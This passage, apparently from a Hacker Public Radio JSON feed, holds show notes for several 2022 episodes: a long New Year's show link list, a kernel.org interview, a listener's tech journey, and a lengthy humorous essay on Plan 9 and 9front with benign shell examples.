                                                            https://en.wikipedia.org/wiki/Daleks%27_Invasion_Earth_2150_A.D.

                                                            \n

                                                            Blake's 7

                                                            \n

                                                            https://en.wikipedia.org/wiki/Blake%27s_7

                                                            \n

                                                            Gorillaz - Clint Eastwood

                                                            \n

                                                            https://youtu.be/1V_xRb0x9aw

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR, New Years, Talking","version":0,"downloads":0,"valid":1}, {"id":3668,"date":"2022-08-24","title":"Linux Inlaws S01E63: John Hawley on kernel dot org and other shenanigans","duration":5514,"summary":"An interview with John Hawley of kernel.org fame","notes":"

                                                            In this episode Martin and Chris host John Hawley of kernel.org fame. The\ndiscussion centers around Python, the royal British family and other FLOSS\ntopics such as some break-away colonies like the US, version control systems,\nwireless wikis and containers. Never mind Python. Did I mention Python? :-)\nAnd perhaps VMware. Ever wondered why early versions of git just gobbled up\nyour main memory? You may or may not find the answer in this episode. Or its\nouttakes...

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"git, kernel.org, GSoC, Command Line Heroes, Zero Dark Thirty, trace cruncher","version":0,"downloads":0,"valid":1}, {"id":3669,"date":"2022-08-25","title":"My First Podcast: My Journey into the Computer World","duration":1207,"summary":"How I was introduced into computers, Linux, robotics, programming, cibersecurity and more...","notes":"

                                                            Milestones in my Journey

                                                            \n
                                                              \n
                                                            1. Studied Windows office and played online games
                                                            2. \n
                                                            3. Electronics
                                                            4. \n
                                                            5. Programming with Scratch
                                                            6. \n
                                                            7. Studied Javascript with Khan Academy
                                                            8. \n
                                                            9. Used Processing
                                                            10. \n
                                                            11. Learned Arduino and robotics
                                                            12. \n
                                                            13. Programmed with Visual Studio Code
                                                            14. \n
                                                            15. Learned Git
                                                            16. \n
                                                            17. Learned Windows Batch, VBS, registry, and others
                                                            18. \n
                                                            19. Introduction to Linux and disks with Tails
                                                            20. \n
                                                            21. Installation of Linux mint
                                                            22. \n
                                                            23. Installation of Debian
                                                            24. \n
                                                            25. Learned Apt, sudo, and other commands
                                                            26. \n
                                                            27. Discovered the Raspberry Pi
                                                            28. \n
                                                            29. Learned ssh, vnc, servers and networking with the Raspberry Pi
                                                            30. \n
                                                            31. Received a Thinkpad laptop and installed on it Bodhi Linux, Linux Lite and Alpine Linux
                                                            32. \n
                                                            33. Learned about erasure, recovery and encryption of data
                                                            34. \n
                                                            35. Learned more about Linux (Screen, network configuration, emacs, programming in C)
                                                            36. \n
                                                            37. Discovered Nethack and Open Adventure console games
                                                            38. \n
                                                            39. Studied hacking and pentesting
                                                            40. \n
                                                            41. Helped a company with its computers and learned from it guys
                                                            42. \n
                                                            43. Introduction to Python and BSD
                                                            44. \n
                                                            \n","hostid":410,"series":29,"explicit":0,"license":"CC-BY-SA","tags":"linux, programming, cibersecurity, robotics, hardware","version":0,"downloads":0,"valid":1}, {"id":3670,"date":"2022-08-26","title":"Changing Plans","duration":988,"summary":"We look at some potential Covid-19 issues and consider alternatives","notes":"

                                                            We continue our look at the planning process as we discard one plan due to Covid-19 and turn to a different plan. And we introduce an RV-specific planning tool called RV Trip Wizard.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, Google Maps, RV Trip Wizard ","version":0,"downloads":0,"valid":1}, {"id":3671,"date":"2022-08-29","title":"Response to Episode 3655, \"BSD for Linux Users\"","duration":674,"summary":"Claudio responds to binrc's episode on BSD for Linux Users and rambles on about other BSD stuff.","notes":"

                                                            My gEeeky Experiment blog posts:

                                                            \n\n

                                                            My gEeeky Experiment HPR Episodes:

                                                            \n\n\n","hostid":152,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"bsd, openbsd, freebsd, netbsd, binrc, response, unix","version":0,"downloads":0,"valid":1}, {"id":3672,"date":"2022-08-30","title":"2021-2022 New Years Show Part 3","duration":11934,"summary":"The HPR community comes together to chat","notes":"

                                                            Hacker Public Radio New Years Eve Show 2021 - 2022

                                                            \n

                                                            Part 3

                                                            \n

                                                            WebRTC with RPi Zero - resolution of the ribbon cable camera could be better.

                                                            \n

                                                            Tried without success: uv4l (h264) https://www.linux-projects.org

                                                            \n

                                                            Raspberry Pi Zero

                                                            \n

                                                            https://www.raspberrypi.com/products/raspberry-pi-zero/

                                                            \n

                                                            ESP 32 Camera

                                                            \n

                                                            https://makeradvisor.com/esp32-camera-cam-boards-review-comparison/

                                                            \n

                                                            CHDK - Canon Hack Development Kit

                                                            \n

                                                            https://chdk.fandom.com/wiki/CHDK

                                                            \n

                                                            uStreamer (mjpg stream) https://github.com/pikvm/ustreamer

                                                            \n

                                                            PiKrellCam (mjpeg stream) https://billw2.github.io/pikrellcam/pikrellcam.html

                                                            \n

                                                            to forward H264 instead of mjpeg

                                                            \n

                                                            WebRTC-streamer https://github.com/mpromonet/webrtc-streamer

                                                            \n

                                                            WebRTC streamer (RWS) https://github.com/kclyu/rpi-webrtc-streamer

                                                            \n

                                                            CET Germany and 45 more Brussels, Madrid, Paris, Rome, Algiers

                                                            \n

                                                            Moss talks about investing with Robin Hood

                                                            \n

                                                            https://robinhood.com/us/en/

                                                            \n

                                                            Robin Hood Controversy With Game Stop

                                                            \n

                                                            https://www.nytimes.com/2021/02/18/business/gamestop-robinhood-hearing.html

                                                            \n

                                                            FOSS North

                                                            \n

                                                            https://foss-north.se/

                                                            \n

                                                            The Grahm Norton Show

                                                            \n

                                                            https://www.bbc.co.uk/programmes/b006xnzc

                                                            \n

                                                            Stephen Colbert

                                                            \n

                                                            https://www.cbs.com/shows/the-late-show-with-stephen-colbert/

                                                            \n

                                                            Jon Stewart

                                                            \n

                                                            https://en.wikipedia.org/wiki/Jon_Stewart

                                                            \n

                                                            Highest Point in the Netherlands

                                                            \n

                                                            https://en.wikipedia.org/wiki/Vaalserberg

                                                            \n

                                                            Seinfeld TV Show

                                                            \n

                                                            https://www.imdb.com/title/tt0098904/

                                                            \n

                                                            Big Bang Theory

                                                            \n

                                                            https://www.imdb.com/title/tt0898266/

                                                            \n

                                                            https://en.wikipedia.org/wiki/The_Big_Bang_Theory

                                                            \n

                                                            Joe Talks Installing Linux on Tablets

                                                            \n

                                                            ASUS Transformer Line - where Joe started his journey with installing Linux on tablets

                                                            \n

                                                            https://en.wikipedia.org/wiki/Asus_Transformer

                                                            \n

                                                            Dell Tablets

                                                            \n

                                                            https://www.dell.com/en-us/shop/handhelds-tablet-pcs/ac/4327

                                                            \n

                                                            https://i.dell.com/sites/doccontent/corporate/secure/en/Documents/dell-venue-11pro-brochure.pdf

                                                            \n

                                                            https://www.dell.com/support/home/en-us/product-support/product/dell-venue-11i-pro/overview

                                                            \n

                                                            https://www.dell.com/support/manuals/en-us/dell-venue-11-pro-7000-7140/dell_venue11pro_7140_ug-v1/specifications?guid=guid-ed3189c3-1247-45a2-8265-e9851188ff3e

                                                            \n

                                                            Installing Linux On Chromebooks

                                                            \n

                                                            https://itsfoss.com/install-linux-chromebook/

                                                            \n

                                                            https://www.pcmag.com/how-to/install-linux-on-your-chromebook

                                                            \n

                                                            Netherlands Vs. Holland - Whats the difference?

                                                            \n

                                                            https://www.holland.com/global/tourism/information/general/netherlands-vs-holland.htm

                                                            \n

                                                            Mark Shuttleworth

                                                            \n

                                                            https://en.wikipedia.org/wiki/Mark_Shuttleworth

                                                            \n

                                                            https://www.markshuttleworth.com/

                                                            \n

                                                            Endless OS

                                                            \n

                                                            https://endlessos.com/home/

                                                            \n

                                                            https://distrowatch.com/table.php?distribution=endless

                                                            \n

                                                            Hannah Montana Linux

                                                            \n

                                                            http://hannahmontana.sourceforge.net/

                                                            \n

                                                            Ittoqqortoormiit is in Greenland

                                                            \n

                                                            https://en.wikipedia.org/wiki/Ittoqqortoormiit

                                                            \n

                                                            https://visitgreenland.com/destinations/ittoqqortoormiit/

                                                            \n

                                                            Joe Suggests Reading Brandon Sanderson

                                                            \n

                                                            https://www.brandonsanderson.com/

                                                            \n

                                                            How Did Napoleon Influence What Side of the Road We Drive On Today?

                                                            \n

                                                            https://nationalmotormuseum.org.uk/ufaqs/why-do-we-drive-on-the-left-side-of-the-road-in-the-uk-but-most-other-countries-drive-on-the-right/

                                                            \n

                                                            The War of 1812

                                                            \n

                                                            https://www.history.com/topics/war-of-1812/war-of-1812

                                                            \n

                                                            American Doesn't Use the Metric System Because of Pirates?

                                                            \n

                                                            https://www.washingtonpost.com/news/speaking-of-science/wp/2017/09/19/pirates-yes-pirates-may-be-why-the-u-s-doesnt-use-the-metric-system/

                                                            \n

                                                            Transcontinental Railroad

                                                            \n

                                                            https://en.wikipedia.org/wiki/Transcontinental_railroad

                                                            \n

                                                            Dutch East India Company

                                                            \n

                                                            https://en.wikipedia.org/wiki/Dutch_East_India_Company

                                                            \n

                                                            Dutch Saint Nicholas / Christmas In The Netherlands

                                                            \n

                                                            https://en.wikipedia.org/wiki/Sinterklaas

                                                            \n

                                                            https://www.whychristmas.com/cultures/netherlands

                                                            \n

                                                            Rio Grande River Damns

                                                            \n

                                                            https://en.wikipedia.org/wiki/List_of_Rio_Grande_dams_and_diversions

                                                            \n

                                                            Hurricane Harvey & Katrina

                                                            \n

                                                            https://en.wikipedia.org/wiki/Hurricane_Katrina

                                                            \n

                                                            https://en.wikipedia.org/wiki/Hurricane_Harvey

                                                            \n

                                                            How Much Of The Netherlands Is Below Sea Level

                                                            \n

                                                            https://www.holland.com/global/tourism/information/general/dutch-water-facts.htm

                                                            \n

                                                            Chicago Is Sinking

                                                            \n

                                                            https://www.smithsonianmag.com/smart-news/chicago-can-blame-glaciers-sinking-city-180971643/

                                                            \n

                                                            https://www.nytimes.com/interactive/2021/07/07/climate/chicago-river-lake-michigan.html

                                                            \n

                                                            Rotterdamn - The Largest Harbor in Europe

                                                            \n

                                                            https://www.shipafreight.com/knowledge-series/largest-ports-in-europe/

                                                            \n

                                                            https://en.wikipedia.org/wiki/Port_of_Rotterdam

                                                            \n

                                                            Zeeland

                                                            \n

                                                            https://en.wikipedia.org/wiki/Zeeland

                                                            \n

                                                            https://www.holland.com/global/tourism/destinations/provinces/zeeland.htm

                                                            \n

                                                            Frisian Languages

                                                            \n

                                                            https://en.wikipedia.org/wiki/Frisian_languages

                                                            \n

                                                            https://www.babbel.com/en/magazine/what-is-frisian

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR, New Years, Talking","version":0,"downloads":0,"valid":1}, {"id":3673,"date":"2022-08-31","title":"Recording for Hacker Public Radio","duration":1066,"summary":"My experiences recording episodes of HPR","notes":"
                                                              \n
                                                            • How I've recorded episodes:\n
                                                                \n
                                                              • iPhone 7 with Apple earbuds
                                                              • \n
                                                              • Zoom H1 Handy Recorder
                                                              • \n
                                                              • Sennheiser MB Pro 2 with Solocast
                                                              • \n
                                                              • Google Pixel 3 with the Dolby On app
                                                              • \n
                                                            • \n
                                                            • What is the compressor, and how to use it.
                                                            • \n
                                                            • What is the EQ, and how to use it.
                                                            • \n
                                                            • Environment, noise and reverberation
                                                            • \n
                                                            • Warming up, breathing
                                                            • \n
                                                            \n

                                                            Episodes referenced here:
                                                            \nhpr3625 :: Shell Tips and Snippets - Collaborative Effort hosted by Carl
                                                            \nhpr3496 :: How I record HPR Episodes
                                                            \nhpr1342 :: Power Tool Drag Racing! hosted by MrGadgets

                                                            \n

                                                            All the information in this show is just what I have learned and what I think. Let us know if you have learned other things by recording your own show!

                                                            \n","hostid":399,"series":45,"explicit":0,"license":"CC-BY-SA","tags":"\"sound editing\"","version":0,"downloads":0,"valid":1}, {"id":3674,"date":"2022-09-01","title":"Emergency Show posted in 2012. MUD","duration":1241,"summary":"In today's show klaatu drags us through the mud with his somewhat belated descovery.","notes":"

                                                            \nMUD
                                                            \nFrom Wikipedia, the free encyclopedia
                                                            \nA MUD ( originally Multi-User Dungeon, with later variants Multi-User Dimension and Multi-User Domain), is a multiplayer real-time virtual world, usually text-based. MUDs combine elements of role-playing games, hack and slash, player versus player, interactive fiction, and online chat. Players can read or view descriptions of rooms, objects, other players, non-player characters, and actions performed in the virtual world. Players typically interact with each other and the world by typing commands that resemble a natural language.
                                                            \nhttps://en.wikipedia.org/wiki/Multi-User_Dungeon\n

                                                            \n\n

                                                            \nTinTin++, aka tt++, is a free MUD client for Mac OS X, Linux, and Windows. The Windows port named WinTin++ (using the PuTTY derived mintty terminal) is available for those who do not use Cygwin (A Linux/Unix emulator for Windows) and runs on Windows Xp, Windows Vista, and Windows 7. Besides MUDs, TinTin++ also works well with MUSH, Rogue, BBS, and Linux servers.
                                                            \nhttp://tintin.sourceforge.net/\n

                                                            \n\n

                                                            \nAncient Anguish
                                                            \nFrom Wikipedia, the free encyclopedia
                                                            \nAncient Anguish, abbreviated AA, is a fantasy-themed MUD, a text-based online role-playing game. Founded in 1991 by Balz \"Zor\" Meierhans and Olivier \"Drake\" Maquelin, it opened to the public on February 2, 1992. It is free to play, but has been supported by player donations since 1994.
                                                            \nhttps://en.wikipedia.org/wiki/Ancient_Anguish\n

                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"RPG,MUD,TinTin++,WinTin++","version":0,"downloads":0,"valid":1}, {"id":3675,"date":"2022-09-02","title":"Plan 9: An exercise in futility","duration":4771,"summary":"I talk about the design of Plan 9 and how I use it","notes":"

                                                            Plan 9: An exercise in futility

                                                            \n
                                                            It is my right to exercise my futility wherever, whenever, and with whoever I please
                                                            \n

                                                            Some ideas about Plan 9:

                                                            \n
                                                            \n

                                                            It's like the uncanny valley of UNIX

                                                            \n
                                                            \n
                                                            \n

                                                            Cool, but useless

                                                            \n
                                                            \n
                                                            \n

                                                            Can you sum up plan 9 in layman's terms? It does everything Unix does only less reliably - Ken Thompson

                                                            \n
                                                            \n
                                                            \n

                                                            If you cannot imagine a use for a computer that does not involve a web browser, Plan 9 may not be for you - 9front FQA

                                                            \n
                                                            \n
                                                            \n

                                                            #d/0:28: null list in concatenation

                                                            \n
                                                            \n

                                                            History and description

                                                            \n

                                                            The boys at bell labs decide UNIX wasn't good enough so they decided to build something better: a distributed multiuser operating system composed of many machines. Many of the same ideas behind UNIX were pushed to absurd extremes. The idea that \"everything is a file\" is made blatantly apparent to everyone and sometimes, in my opinion, can feel 'overly-abstracted'. Additionally, the concept of private namespaces makes the concept of virtual filesystems seem like 'baby's first filesystem abstraction'.

                                                            \n

                                                            Just like UNIX, 9 started as a research operating system. Both are enjoyed by hobbyists, both are interesting ways of using a computer, both have a lot of fun in store. But the systems do diverge in one major aspect: UNIX is mainstream and 9 is still a research operating system. Plan 9 is currently distributed under the MIT license.

                                                            \n

                                                            \"What is plan 9?\", Taken directly from intro(1):

                                                            \n
                                                            \n

                                                            Plan 9 is a distributed computing environment assembled from separate machines acting as terminals, CPU servers, and file servers. A user works at a terminal, running a window system on a raster display. Some windows are connected to CPU servers; the intent is that heavy computing should be done in those windows but it is also possible to compute on the terminal. A separate file server provides file storage for terminals and CPU servers alike.

                                                            \n
                                                            \n

                                                            In practice, modern 9 users just run all of these services on a single machine because maintaining many machines to achieve a single usable 'operating system' is unnecessary; the 9 user finds himself scared and alone without enough users (1 is rarely enough) to justify building a distributed environment.

                                                            \n

                                                            Use cases

                                                            \n

                                                            Intended: distributed multiuser network (ie not mainframe), later embedded since UNIX was too bad to be stopped

                                                            \n

                                                            Actual: Acting like a UNIX hipster, pretending that 9 is anything other than vaporware, imagining that you are gaining social credit by posting screenshots of abandonware on internet forums. See also: Operating System Tourism

                                                            \n

                                                            9 in the wild

                                                            \n
                                                              \n
                                                            • Unicode is now a plague
                                                            • \n
                                                            • rfork
                                                            • \n
                                                            • 9p\n
                                                                \n
                                                              • leveraged by microsoft to discourage end users from actually running GNU+Linux as St Ignucius intended
                                                              • \n
                                                              • QEMU's VirtFS
                                                              • \n
                                                            • \n
                                                            • various window managers for UNIX, written by people who like the ideas behind 9 but not enough to actually run 9
                                                            • \n
                                                            • \"cool idea, I'm adding it to Linux\"
                                                            • \n
                                                            \n
                                                              \n
                                                            • private namespaces
                                                            • \n
                                                            • union directories
                                                            • \n
                                                            • see: docker
                                                            • \n
                                                            \n

                                                            Design

                                                            \n

                                                            The goal of 9 was to build a distributed operating system that expands upon Unixy ideas, not to build something that's backwards compatible. \"We want to improve UNIX\" is mutually exclusive to \"we want to port UNIX to this wacky new kernel\". UNIX programs (and behemoths like FireFox) are difficult^impossible to port to 9 because of this design decision.

                                                            \n

                                                            Distributed operating systems

                                                            \n

                                                            Since 9 was designed to be a distributed operating system, many of the internals are oriented towards networking. On a single system installation, all three of the components that make a 9 network are working together in a client-server model. The filesystem is presented as a service, the CPU is presented as a service, and the terminal is presented as a service. This type of \"abstraction from the physical hardware\" makes it difficult to succinctly describe and explain 9.

                                                            \n

                                                            If you think about 9 as a heterogeneous network of machines the ideas start to make sense. If you think about 9 as a self-contained single-machine operating system the ideas only become more confusing.

                                                            \n

                                                            One thing that has helped me wrap my head around the client/server idea is actually thinking less. When running a MySQL server in a LAMP stack, the database server and client are running on the same machine. When writing a program, you instruct the client to access the database located at the address localhost. Despite the design intention to run the database as a separate machine, loopback device hacks ensue. The idea of client/server permeates 9.

                                                            \n

                                                            The filesystem? Presented as a server regardless of what physical machine it's located on. The CPU? Presented as a server regardless of what physical machine it's located on. The terminal? Presented as a server regardless of the physical machine it's located on.

                                                            \n

                                                            On a single machine 9 installation, all of these servers are running locally but accessed as if they were running remotely. Insanity ensues but at least it's easier to write code for.

                                                            \n

                                                            9p: the Plan 9 Filesystem Protocol

                                                            \n

                                                            9p is a networking protocol that makes this client/server model possible. Internally, the filesystem is served to the client over 9p. Many applications make use of 9p, including text editors, windowing systems, plumber, etc. In UNIX, everything is a file. In 9, everything is a filesystem accessed via 9p.

                                                            \n

                                                            Private Namespaces, Union Directories

                                                            \n

                                                            The most important aspect of 9: namespaces.

                                                            \n

                                                            Namespaces have caused me much confusion until recently. In 9, each process constructs a unique view of the filesystem. The phrase that gets stuck in my head is \"a private namespace is a per-process view of the filesystem\". The easiest way to think about namespaces is to think about a \"virtual directory\". Unix has \"virtual filesystems\", 9 has \"virtual directories\".

                                                            \n

                                                            The concept of namespaces allows a user to pull resources from all over the network and present them as \"a single local filesystem\" with absolute disregard for where these resources are actually coming from. In order to construct a namespace, union directories are used. A union directory is a directory made of several directories bound to the same directory. This concept is similar to a bind mount on UNIX.

                                                            \n

                                                            The kernel keeps separate mount table for each process. Using namespaces, a user or admin can create more secure isolated environments (similar to a chroot).

                                                            \n

                                                            Processes and their children are grouped together so that inheritance of the namespace occurs. These process groups can be customized.

                                                            \n
                                                            \n

                                                            The 'per-process namespace' concept can be confusing to UNIX users at first, especially when binding (ie mounting) resources. When I first started using 9 I was very confused when I bound something in one terminal, switched to another, then became disoriented as the thing I just bound seemingly stopped existing. My big example is mounting the boot partition or a filesystem over ssh:

                                                            \n
                                                            # In this window, I have bound the boot partition.\n# It behaves expectedly.\nterm% 9fs 9fat\nterm% lc /n\n9/      9fat/   other/  ssh/\nterm% lc /n/9fat\n9bootfat        9pc64           oldplan9.ini    plan9.ini\n9pc             efi/            pbs.bak\nterm%\n
                                                            \n
                                                            # In this other window, the boot partition doesn't seem to be mounted.\n# This causes much confusion for the end user.\nterm% lc /n\n9/      9fat/   other/  ssh/\nterm% lc /n/9fat\nterm%\n
                                                            \n
                                                            \n

                                                            Files

                                                            \n

                                                            The second most important aspect of 9: \"Everything is a file\" taken to absurdist absolutes. The kernel presents hardware devices as files bound to /dev. Within the namespace, devices are just files. Outside the namespace, devices are named with a leading # to help distinguish between pseudo-files and devices. These physical devices are bound to /dev/ and presented as files for easy administration, access, and programming. Presenting everything as a file accessible via 9p greatly reduces the total number of system calls.

                                                            \n
                                                            \n

                                                            Examples of \"Everything is a file\":

                                                            \n
                                                            # The clipboard in 9 is called /dev/snarf\n# We can easily write and read from this clipboard\nterm% cat /dev/snarf\nSYNOPSIS\n#include <u.h>\n\n#include <libc.h>\n\n#include term%\nterm% fortune > /dev/snarf\nterm% cat /dev/snarf\nIf at first you succeed, try to hide your astonishment.\nterm%\n
                                                            \n
                                                            # The display in 9 is called /dev/screen\n# We can easily take a screenshot\nterm% file /dev/screen\n/dev/screen: plan 9 image, depth 32, size 1366x768\nterm% cat /dev/screen | topng > screenshot.png\nterm% file screenshot.png\nscreenshot.png: PNG image\nterm%\n
                                                            \n
                                                            \n

                                                            Message oriented filesystem

                                                            \n

                                                            Continuing with the idea that \"everything is a filesystem\", processes can offer services to other processes by placing virtual files into other processes' namespaces. File I/O on this special virtual file becomes interprocess communication. This is similar to a UNIX socket but significantly less difficult to program against because all of the hard parts have been abstracted: it's just simple file I/O.

                                                            \n

                                                            Virtual filesystem (with more special files)

                                                            \n

                                                            The /proc filesystem presents processes as a files in a filesystem. This makes writing programs that manage process extremely easy by reducing the total number of system calls to simple file I/O. The /proc filesystem allows users to manage processes using standard command line utilities like cat(1) and ls(1).

                                                            \n

                                                            Linux borrowed the idea of a /proc filesystem.

                                                            \n

                                                            Unicode

                                                            \n

                                                            Although the implementation is not fully internationalized, UTF-8 is fully there. Unicode is fully backwards compatible with ASCII. Thanks to ⑨, we now have people writing exclusively with primitive hieroglyphics instead of words.

                                                            \n

                                                            Portability

                                                            \n

                                                            Just like UNIX, 9 was designed with portability in mind. 9 is written in a strange dialect of ANSI C which means it's portable. Although the system is self hosting, images are rarely built on a self hosting environment. Instead, the end user will download a generic amd64 or i386 image, cross compile for the obscure target architecture, wrap it up in an install image, then burn that image to an install disk. After installation, it is generally a good idea to recompile the entire operating system so that your copy is self-hosted.

                                                            \n

                                                            The compiler suite is quite clever in that each compiler is named according to the target architecture, the object files are named according to the target architecture, etc. The alnum prefix/extensions are also shared by the various linkers and assemblers.

                                                            \n
                                                            0c spim    little-endian MIPS 3000 family\n\n1c 68000   Motorola MC68000\n\n2c 68020   Motorola MC68020\n\n5c arm     little-endian ARM\n\n6c amd64   AMD64 and compatibles (e.g., Intel EM64T)\n\n7c arm64   ARM64 (ARMv8)\n\n8c 386     Intel i386, i486, Pentium, etc.\n\nkc sparc   Sun SPARC\n\nvc mips    big-endian MIPS 3000 family\n
                                                            \n

                                                            Filesystems

                                                            \n

                                                            Multiple filesystems are supported, most suck. The only one the average tourist has heard of is FAT. The one I use is cwfs64x(4). cwfs is a strange filesystem. Every night, it makes a dump of the filesystem. You can access these dumps by running:

                                                            \n
                                                            9fs dump\ncd /n/dump/YYYY/MMDD/\n
                                                            \n

                                                            And, managing the file server (trying to uncorrupt cwfs), all while the kernel is spraying error messages

                                                            \n
                                                            term% con -C /srv/cwfs.cmd\nhelp\ncheck tag\ncheck ream\ncheck free\ncheck\n
                                                            \n

                                                            After my system crashes, and after consulting fs(8), the above commands seem to solve my corruption problems. Not always. But sometimes.

                                                            \n

                                                            The cache is a WORM: Write Once Read Many filesystem. Traditionally, the \"fast\" hard drives would be backed up to tape archives. In the modern era, we have a WORM partition. The worm partition stores data forever so it will eventually get full and need cleaning. It is possible to run without a WORM but it's a bad idea. Built in version control.

                                                            \n

                                                            Data integrity not guaranteed.

                                                            \n

                                                            Secstore

                                                            \n

                                                            stores various passwords to nvram. BIOS integrety not gauranteed. If you don't like thrashing the nvram and it's limited write ops, an partition can be created and mouted as if it were nvram.

                                                            \n

                                                            Factotum

                                                            \n

                                                            stores various passwords in memory (like ssh-agent)

                                                            \n

                                                            Known forks

                                                            \n\n

                                                            9front is really the only 'usable' one because the QOL modifications add important things like general stability, git client, mercurial, ssh, various emulators, audio, WiFi, and USB support.

                                                            \n

                                                            Using 9

                                                            \n

                                                            What does the 9 experience actually look like in 2022? You put 9 in a VM, posted a screenshot, shutdown the VM, then continued using Ubuntu because you can't play video games or easily watch videos online in 9.

                                                            \n

                                                            Hardware support in 9front is expanding but still limited. Refer to the list of supported hardware. I run 9front on a Thinkpad x220 and it seems to just work. Some people run it on a Raspi but I'm not sure why. It works quite well with KVM and QEMU if you're an OS tourist. I see no reason to add a dmesg because it will either work or it won't.

                                                            \n

                                                            Available software

                                                            \n

                                                            GNU might not be UNIX but 9 isn't even trying to be UNIX-like.

                                                            \n

                                                            GUI

                                                            \n

                                                            Unlink UNIX, 9 was designed with graphics in mind. Some people have said that the 9 GUI looks similar to a smalltalk machine but I think it's just the only good stacking window manager. A three button mouse is necessary for using 9front. Shift-rightclick emulates middle click.

                                                            \n

                                                            Rio

                                                            \n

                                                            Rio is the Plan 9 windowing system. It's the successor to 8½ window manager. Rio is lightweight compared to X11 because access to graphical hardware is built into the kernel and using files+namespaces to access input devices.

                                                            \n

                                                            The most brief way of explaining rio is to think of it as a rectangle multiplexer, where each rectangle is served a file interface (9p). Although rectangles might seem counterintuitive at first, thinking less hard makes it easier to use. I still have difficulty efficiently using a mouse-centric interface after using terminal interfaces almost exclusively for many years. I dislike the windows way of using a mouse but the 9 way seems to make quite a lot of sense when I \"think less hard\" and allow the intuition to take control.

                                                            \n

                                                            The argument for mouse-centric computing and text editing is that it's faster. Of course, the average vim user is editing text faster than the speed of thought but most people aren't the average vim user. Instead, they only know how to use arrow keys to move a cursor. Without memorizing hundreds of vim bindings (and forgetting the names and birth dates of your family members in the process), obviously a mouse is faster.

                                                            \n

                                                            Mouse controls are confusing at first because they follow the \"click and hold, hover to option, release\" to select an option. They look something like follows:

                                                            \n
                                                              \n
                                                            • Right click (window management controls)\n
                                                                \n
                                                              • New
                                                              • \n
                                                              • Resize
                                                              • \n
                                                              • Move
                                                              • \n
                                                              • Delete
                                                              • \n
                                                              • Hide
                                                              • \n
                                                            • \n
                                                            • Middle click (text manipulation controls)\n
                                                                \n
                                                              • cut
                                                              • \n
                                                              • paste
                                                              • \n
                                                              • snarf (copy highlighted text)
                                                              • \n
                                                              • plumb (send highlighted text to process, or, more effectively: open file with appropriate program)
                                                              • \n
                                                              • look (search for highlighted text)
                                                              • \n
                                                              • send (run highlighted text as a shell command)
                                                              • \n
                                                              • scroll (toggle autoscroll/noautoscroll)\n
                                                                  \n
                                                                • The left click button is used to select text and windows.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n

                                                            The concept of mouse-chording is also prominent in rio but it's even more difficult to explain without a visual demonstration.

                                                            \n

                                                            Rio and it's windows also support UNIX style keyboard shortcuts:

                                                            \n
                                                              \n
                                                            • ^-u deletes from cursor to start of line
                                                            • \n
                                                            • ^-w deletes word before cursor
                                                            • \n
                                                            • ^-h deletes the character before the cursor
                                                            • \n
                                                            • ^-a moves the cursor to the start of the line
                                                            • \n
                                                            • ^-e moves the cursor to the end of the line
                                                            • \n
                                                            • ^-b moves the cursor back to the prompt
                                                            • \n
                                                            • ^-f is the autocomplete key, functionally equivalent to tab completion
                                                            • \n
                                                            • ^? (DEL key) is the equivalent to ^-c on UNIX
                                                            • \n
                                                            \n

                                                            Additionally, in a text window, the arrow keys and PgUp/PgDown keys behave as expected. The home/end keys scroll the window to the top/bottom of the text buffer respectively.

                                                            \n

                                                            These text windows have a built in pager so there is no more or less command. I can't decide if I like built in paging but it's definitely a thing to think about.

                                                            \n

                                                            The colorscheme of rio is dull and pastel and this is intentional. Less vibrant color schemes seem to fade away and become less obvious. Color themes like Tango, Linux Console, Solarized, all of KDE, and WIndows XP are very obvious but not in a good way. Bright colors are subtly distracting and make it difficult to concentrate. When I'm configuring a UNIX system with dwm, I borrow Rio's color theme because it's an anti-theme. Give it time. It's charming in it's own way. Modifying the source code for rio allows for custom color themes. It's possible but you will be laughed at. Setting a wallpaper is also possible but I don't do this because my windows are always covering the dull gray background.

                                                            \n

                                                            As for X11, the equis X11 server can only be run via linux compat layers. The lack of a viable X server is yet another reason 9 has no programs.

                                                            \n

                                                            Command Line Utilities

                                                            \n

                                                            The shell on 9 is called rc(1). It's like any other shell you've used except that you expect it to be bourne-like but it isn't. Standard UNIX shell concepts like pipes, file redirects, && and ||, etc. Scripting is not POSIX-like at all so reading the man page and various scripts written in rc is the only way to learn.

                                                            \n

                                                            Other various UNIX utilities exist and function as expected (although some of the ones you would like are missing). awk, grep, sed, cat, tar, gzip, ed, etc are present.

                                                            \n

                                                            Editors

                                                            \n

                                                            There are three primary ways of editing text on 9: ed(1), sam(1), and acme(1). There is no vi aside from the MIPS emulator, there is no emacs except for a man page explaining why there is no emacs.

                                                            \n

                                                            I have primarily used acme in the past, but sam is a much better editor.

                                                            \n

                                                            sam is a lot like a graphical version of ed. I still need to learn ed because it's the standard editor. Some of the standard vi commands are available and regex works. I like sam quite a lot but it seems to corrupt files when the system crashes.

                                                            \n

                                                            acme is a window manager, file browser, terminal emulator, and email client that some people use as a text editor. The coolest part about acme is the ability to write arbitrary editor and system commands in the menu bar, highlight them, then middle click to execute those commands.

                                                            \n

                                                            (Some of the ) Supported Networking Protocols

                                                            \n
                                                              \n
                                                            • IMAP\n
                                                                \n
                                                              • good luck
                                                              • \n
                                                            • \n
                                                            • NTP
                                                            • \n
                                                            • IRC\n
                                                                \n
                                                              • ircrc
                                                              • \n
                                                              • other non-default implementations exist
                                                              • \n
                                                            • \n
                                                            • FTP
                                                            • \n
                                                            • HTTP\n
                                                                \n
                                                              • mothra is the standard web browser. It does not support CSS or all of the HTML tags. Obviously, javascript is unsupported.
                                                              • \n
                                                              • abaco exists. I've used it a few times. It renders slightly better than mothra but is a pain to use.
                                                              • \n
                                                              • Various inferno vaporware exists but the ports don't work
                                                              • \n
                                                              • NetSurf has been ported to 9front by leveraging components of APE. It almost works
                                                              • \n
                                                              • hget, like curl
                                                              • \n
                                                            • \n
                                                            • SSH\n
                                                                \n
                                                              • it only works in conjunction with the vt(1) command.
                                                              • \n
                                                              • sshfs
                                                              • \n
                                                              • sshnet for proxying traffic
                                                              • \n
                                                            • \n
                                                            • VNC
